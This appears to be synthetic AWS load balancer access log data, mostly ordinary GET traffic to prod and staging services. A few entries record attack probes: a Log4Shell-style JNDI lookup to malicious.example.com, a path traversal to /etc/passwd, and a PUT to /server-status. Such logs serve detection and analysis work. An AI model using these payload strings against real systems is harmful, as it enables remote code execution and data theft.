2024-11-01T01:40:04.771024Z "forward" "-" "-" "188.54.72.234:443" "200" "-" "-" +https 2024-11-01T01:40:06.005157Z staging-alb 193.51.36.26:14107 0.186.42.183:443 0.082007 0.125140 0.136056 301 301 282 6313 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf06-e76aed5a0c7645d09cdfe676" "staging-alb.example.com" "-" 0 2024-11-01T01:40:06.005157Z "forward" "-" "-" "0.186.42.183:443" "301" "-" "-" +https 2024-11-01T01:40:06.949443Z prod-web-alb 67.30.104.45:38223 10.0.177.226:443 0.008881 0.196868 0.096795 200 200 350 3567 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf06-9aa75c81357647458abe2b14" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:06.949443Z "forward" "-" "-" "10.0.177.226:443" "200" "-" "-" +https 2024-11-01T01:40:08.329499Z staging-alb 251.58.249.207:12996 4.102.169.232:80 0.092986 0.199597 0.087563 200 200 423 12087 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf08-4932fbbd7c6046e9a25cfc66" "staging-alb.example.com" "-" 6 2024-11-01T01:40:08.329499Z "forward" "-" "-" "4.102.169.232:80" "200" "-" "-" +https 2024-11-01T01:40:09.993058Z prod-web-alb 9.45.115.244:26740 10.0.205.73:443 0.051126 0.046912 0.055449 404 404 182 1906 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf09-4ee0941ceced48dbbea52951" "prod-web-alb.example.com" "-" 6 2024-11-01T01:40:09.993058Z "forward" "-" "-" "10.0.205.73:443" "404" "-" "-" +https 2024-11-01T01:40:10.504151Z prod-web-alb 45.29.28.107:51833 10.0.17.83:443 0.070247 0.401175 0.068186 302 302 521 1881 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf0a-12a170fc60bd4cde85875d0a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:10.504151Z "forward" "-" "-" "10.0.17.83:443" "302" "-" "-" +https 2024-11-01T01:40:12.412302Z prod-web-alb 50.150.149.239:21793 10.0.152.225:443 0.022665 0.214926 0.041073 200 200 537 4054 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf0c-99658352db6a4355baaef1d5" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:12.412302Z "forward" "-" "-" "10.0.152.225:443" "200" "-" "-" +https 2024-11-01T01:40:13.601124Z staging-alb 43.49.44.199:13414 42.204.5.16:80 0.119666 0.443380 0.088018 200 200 880 2672 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf0d-4572e35772c64cdb9907d85a" "staging-alb.example.com" "-" 1 2024-11-01T01:40:13.601124Z "forward" "-" "-" "42.204.5.16:80" "200" "-" "-" +https 2024-11-01T01:40:15.499895Z prod-api-alb 250.231.36.246:34529 10.0.189.235:443 0.061634 0.280152 0.017587 302 302 813 11961 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf0f-c647da7a0d5343aebd0553e8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:40:15.499895Z "forward" "-" "-" "10.0.189.235:443" "302" "-" "-" +http 2024-11-01T01:40:17.490548Z staging-alb 201.116.199.19:26052 34.14.223.5:443 0.050987 0.017163 0.107645 200 200 844 5024 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf11-bd909df6e45b44b6b7d294a9" "staging-alb.example.com" "-" 7 2024-11-01T01:40:17.490548Z "forward" "-" "-" "34.14.223.5:443" "200" "-" "-" +https 2024-11-01T01:40:19.161338Z prod-web-alb 188.207.96.105:49562 10.0.246.187:443 0.002103 0.436021 0.059455 200 200 259 14986 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf13-1f1ce561b913410db063363b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:40:19.161338Z "forward" "-" "-" "10.0.246.187:443" "200" "-" "-" +https 2024-11-01T01:40:19.863063Z staging-alb 251.244.85.0:55277 238.177.214.247:8080 0.123907 0.413017 0.116297 301 301 237 11095 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf13-0b67f5393d8f4f5781d12cc1" "staging-alb.example.com" "-" 10 2024-11-01T01:40:19.863063Z "forward" "-" "-" "238.177.214.247:8080" "301" "-" "-" +https 2024-11-01T01:40:20.849304Z prod-web-alb 137.73.84.125:39436 10.0.228.151:443 0.050176 0.470322 0.033394 302 302 523 12728 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf14-ac9fec3851b64f9890fdb49d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:20.849304Z "forward" "-" "-" "10.0.228.151:443" "302" "-" "-" +https 2024-11-01T01:40:21.749588Z prod-web-alb 20.180.217.223:24053 10.0.84.44:443 0.082313 0.445705 0.005051 200 200 932 12515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf15-a984e8b470fd46beaa52e277" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:21.749588Z "forward" "-" "-" "10.0.84.44:443" "200" "-" "-" +http 2024-11-01T01:40:22.257773Z staging-alb 45.155.205.243:58631 198.214.140.2:8080 0.082941 0.301041 0.131799 403 403 630 277 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf16-b4257fd92a714cffa77388eb" "-" "-" 3 2024-11-01T01:40:22.257773Z "forward" "-" "-" "198.214.140.2:8080" "403" "-" "-" +https 2024-11-01T01:40:23.831052Z prod-api-alb 214.60.153.143:41233 10.0.223.187:443 0.048473 0.207607 0.020830 200 200 945 753 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf17-9b3ec24a43e14d8fb58e9687" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:23.831052Z "forward" "-" "-" "10.0.223.187:443" "200" "-" "-" +https 2024-11-01T01:40:24.252690Z staging-alb 216.81.178.113:46413 56.113.111.130:443 0.149255 0.527821 0.021172 404 404 70 6982 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf18-dccef02573474d679264aa55" "staging-alb.example.com" "-" 9 2024-11-01T01:40:24.252690Z "forward" "-" "-" "56.113.111.130:443" "404" "-" "-" +https 2024-11-01T01:40:24.599726Z prod-web-alb 213.116.254.113:40270 10.0.51.10:443 0.072348 0.248901 0.076430 200 200 114 3709 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf18-65aa7bb7d907441b8b1d3f62" "prod-web-alb.example.com" "-" 4 2024-11-01T01:40:24.599726Z "forward" "-" "-" "10.0.51.10:443" "200" "-" "-" +https 2024-11-01T01:40:24.931413Z staging-alb 143.223.1.44:59077 247.191.112.219:80 0.144864 0.733152 0.091592 404 404 12 13378 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf18-c63e00ac478b4ca998047374" "staging-alb.example.com" "-" 1 2024-11-01T01:40:24.931413Z "forward" "-" "-" "247.191.112.219:80" "404" "-" "-" +https 2024-11-01T01:40:25.058112Z prod-api-alb 58.211.114.188:25945 10.0.38.174:443 0.022594 0.103759 0.028987 200 200 448 11926 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf19-799161a1fb404134b8b51bd2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:25.058112Z "forward" "-" "-" "10.0.38.174:443" "200" "-" "-" +https 2024-11-01T01:40:25.673114Z prod-web-alb 144.186.240.226:33778 10.0.87.131:443 0.021803 0.415854 0.043273 200 200 211 5603 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf19-d5991cbef2b64d3e924de202" "prod-web-alb.example.com" "-" 8 2024-11-01T01:40:25.673114Z "forward" "-" "-" "10.0.87.131:443" "200" "-" "-" +https 2024-11-01T01:40:26.382768Z staging-alb 107.192.123.242:51733 23.146.221.136:80 0.074730 0.265235 0.073304 200 200 919 5976 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf1a-beb2e353b5dd40b68684c3a2" "staging-alb.example.com" "-" 5 2024-11-01T01:40:26.382768Z "forward" "-" "-" "23.146.221.136:80" "200" "-" "-" +https 2024-11-01T01:40:26.912833Z prod-web-alb 193.27.228.108:24652 10.0.16.67:443 0.063060 0.206927 0.009729 403 403 453 4838 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf1a-0de77230b41248c898079881" "-" "-" 9 2024-11-01T01:40:26.912833Z "forward" "-" "-" "10.0.16.67:443" "403" "-" "-" +https 2024-11-01T01:40:27.794493Z prod-api-alb 204.14.205.113:46370 10.0.105.95:443 0.087703 0.498058 0.066676 200 200 804 14673 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf1b-ef789d6bf4e64c30830202f3" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:27.794493Z "forward" "-" "-" "10.0.105.95:443" "200" "-" "-" +https 2024-11-01T01:40:28.285900Z prod-web-alb 61.148.100.125:64260 10.0.109.122:443 0.009178 0.058154 0.013171 404 404 169 2918 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1c-78478dcb65d640a293a46c18" "prod-web-alb.example.com" "-" 7 2024-11-01T01:40:28.285900Z "forward" "-" "-" "10.0.109.122:443" "404" "-" "-" +https 2024-11-01T01:40:28.629997Z prod-api-alb 255.249.48.122:51909 10.0.94.88:443 0.049024 0.485260 0.024578 200 200 725 2605 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf1c-01d14ed3b26a4661aa80e327" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:28.629997Z "forward" "-" "-" "10.0.94.88:443" "200" "-" "-" +https 2024-11-01T01:40:30.348373Z prod-web-alb 116.217.31.154:26113 10.0.34.149:443 0.071725 0.031198 0.080145 302 302 964 8928 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1e-01858220a1684a45af9a18e7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:40:30.348373Z "forward" "-" "-" "10.0.34.149:443" "302" "-" "-" +https 2024-11-01T01:40:30.676390Z prod-web-alb 8.135.87.108:51007 10.0.11.233:443 0.081769 0.331208 0.018215 302 302 304 14394 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1e-b8fbc6500ff84464be11c068" "prod-web-alb.example.com" "-" 9 2024-11-01T01:40:30.676390Z "forward" "-" "-" "10.0.11.233:443" "302" "-" "-" +https 2024-11-01T01:40:32.471085Z prod-web-alb 32.117.146.234:62894 10.0.84.254:443 0.018391 0.352097 0.001921 200 200 102 1202 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf20-2d181b49a08c48aca20c2d1d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:40:32.471085Z "forward" "-" "-" "10.0.84.254:443" "200" "-" "-" +https 2024-11-01T01:40:33.688238Z prod-web-alb 209.156.210.242:15746 10.0.27.79:443 0.076985 0.430252 0.060406 200 200 301 2878 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf21-e21fa970ae934d8296677630" "prod-web-alb.example.com" "-" 10 2024-11-01T01:40:33.688238Z "forward" "-" "-" "10.0.27.79:443" "200" "-" "-" +https 2024-11-01T01:40:35.318160Z staging-alb 106.243.233.237:20339 146.229.159.141:80 0.033692 0.516203 0.000720 200 200 765 9669 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf23-d492640bfef5499398bf26ad" "staging-alb.example.com" "-" 2 2024-11-01T01:40:35.318160Z "forward" "-" "-" "146.229.159.141:80" "200" "-" "-" +https 2024-11-01T01:40:36.600051Z staging-alb 7.195.64.102:54613 29.94.110.94:443 0.013056 0.311202 0.007473 302 302 567 4799 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf24-4fcb2bc85c7840cabc2d1892" "staging-alb.example.com" "-" 7 2024-11-01T01:40:36.600051Z "forward" "-" "-" "29.94.110.94:443" "302" "-" "-" +https 2024-11-01T01:40:36.909369Z prod-api-alb 198.203.233.198:62243 10.0.150.97:443 0.027207 0.128884 0.082248 301 301 759 11044 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf24-119e32426d1b423b935d8fc6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:40:36.909369Z "forward" "-" "-" "10.0.150.97:443" "301" "-" "-" +https 2024-11-01T01:40:38.526714Z prod-api-alb 217.8.218.201:39269 10.0.98.135:443 0.042472 0.085903 0.078285 302 302 502 14150 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf26-af2f5fd89abe45c9a4aacf6f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:40:38.526714Z "forward" "-" "-" "10.0.98.135:443" "302" "-" "-" +https 2024-11-01T01:40:40.373116Z prod-web-alb 45.155.205.156:39947 10.0.122.78:443 0.073081 0.338244 0.019689 404 404 182 3057 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf28-4ff15b0fbf1e410d9df347f1" "-" "-" 4 2024-11-01T01:40:40.373116Z "forward" "-" "-" "10.0.122.78:443" "404" "-" "-" +http 2024-11-01T01:40:41.743504Z staging-alb 189.68.143.143:25150 187.45.186.161:8080 0.047950 0.316114 0.036153 200 200 360 9856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf29-3355b1bca946457d813531c1" "staging-alb.example.com" "-" 4 2024-11-01T01:40:41.743504Z "forward" "-" "-" "187.45.186.161:8080" "200" "-" "-" +https 2024-11-01T01:40:42.018650Z prod-web-alb 86.39.233.219:17969 10.0.120.87:443 0.074295 0.127063 0.044288 200 200 798 5136 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf2a-fc47a53d35d14799a42abbca" "prod-web-alb.example.com" "-" 3 2024-11-01T01:40:42.018650Z "forward" "-" "-" "10.0.120.87:443" "200" "-" "-" +https 2024-11-01T01:40:43.495326Z staging-alb 86.108.28.216:36079 223.235.98.33:80 0.104263 0.577924 0.119997 200 200 618 13134 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf2b-a36d89b6c7db4d629aa90222" "staging-alb.example.com" "-" 6 2024-11-01T01:40:43.495326Z "forward" "-" "-" "223.235.98.33:80" "200" "-" "-" +http 2024-11-01T01:40:45.380943Z staging-alb 227.82.163.165:53496 160.90.46.181:80 0.049974 0.368851 0.012840 200 200 595 13548 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf2d-f73043fb898a48838c75fb39" "staging-alb.example.com" "-" 0 2024-11-01T01:40:45.380943Z "forward" "-" "-" "160.90.46.181:80" "200" "-" "-" +https 2024-11-01T01:40:45.748202Z prod-api-alb 70.16.168.245:12917 10.0.14.38:443 0.004817 0.186563 0.038774 301 301 163 7789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf2d-856ed1495e8c479eb457a805" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:45.748202Z "forward" "-" "-" "10.0.14.38:443" "301" "-" "-" +https 2024-11-01T01:40:46.106737Z staging-alb 43.32.175.209:26318 194.136.14.69:8080 0.121222 0.350861 0.036001 301 301 339 3351 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf2e-9db66ea738174fdca9b0a80e" "staging-alb.example.com" "-" 5 2024-11-01T01:40:46.106737Z "forward" "-" "-" "194.136.14.69:8080" "301" "-" "-" +https 2024-11-01T01:40:46.899100Z prod-web-alb 29.190.184.97:64512 10.0.81.188:443 0.097084 0.421165 0.063750 302 302 508 1988 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf2e-704dcf263a5045d5af4fb401" "prod-web-alb.example.com" "-" 0 2024-11-01T01:40:46.899100Z "forward" "-" "-" "10.0.81.188:443" "302" "-" "-" +http 2024-11-01T01:40:48.283781Z staging-alb 149.175.196.47:54288 223.71.114.211:8080 0.140303 0.234222 0.069145 200 200 805 10299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf30-0c005bbdab30427b93656767" "staging-alb.example.com" "-" 0 2024-11-01T01:40:48.283781Z "forward" "-" "-" "223.71.114.211:8080" "200" "-" "-" +http 2024-11-01T01:40:49.092084Z staging-alb 50.226.34.178:16905 104.197.208.77:8080 0.030588 0.523742 0.078535 200 200 255 2478 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf31-0e2b128149de4cb8bd2f6dc4" "staging-alb.example.com" "-" 1 2024-11-01T01:40:49.092084Z "forward" "-" "-" "104.197.208.77:8080" "200" "-" "-" +https 2024-11-01T01:40:49.912550Z prod-api-alb 155.27.221.210:48646 10.0.100.69:443 0.029397 0.394229 0.086945 200 200 175 4741 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf31-f8e5ac627332441b8aee1890" "prod-api-alb.example.com" "-" 5 2024-11-01T01:40:49.912550Z "forward" "-" "-" "10.0.100.69:443" "200" "-" "-" +https 2024-11-01T01:40:50.786214Z prod-api-alb 103.194.104.151:34906 10.0.111.121:443 0.035425 0.357313 0.073160 200 200 879 1069 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf32-1d105c8d81954edc92a308a6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:40:50.786214Z "forward" "-" "-" "10.0.111.121:443" "200" "-" "-" +https 2024-11-01T01:40:52.694042Z staging-alb 32.64.25.156:62534 225.0.104.25:443 0.097360 0.551121 0.120459 200 200 391 6520 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf34-04c7e649f21c46c1b2b7b434" "staging-alb.example.com" "-" 2 2024-11-01T01:40:52.694042Z "forward" "-" "-" "225.0.104.25:443" "200" "-" "-" +https 2024-11-01T01:40:53.379633Z prod-api-alb 45.139.179.209:42122 10.0.171.97:443 0.071567 0.396706 0.059326 200 200 558 9955 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf35-7435e44104c84806b0289f9d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:53.379633Z "forward" "-" "-" "10.0.171.97:443" "200" "-" "-" +https 2024-11-01T01:40:55.311219Z staging-alb 215.47.175.168:41017 42.171.136.212:80 0.111899 0.399736 0.062783 302 302 525 13118 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf37-fe411e2c1f0b47d4ac4a348d" "staging-alb.example.com" "-" 2 2024-11-01T01:40:55.311219Z "forward" "-" "-" "42.171.136.212:80" "302" "-" "-" +https 2024-11-01T01:40:57.239743Z staging-alb 112.188.79.42:29466 78.85.20.232:8080 0.113715 0.064229 0.148451 301 301 457 8860 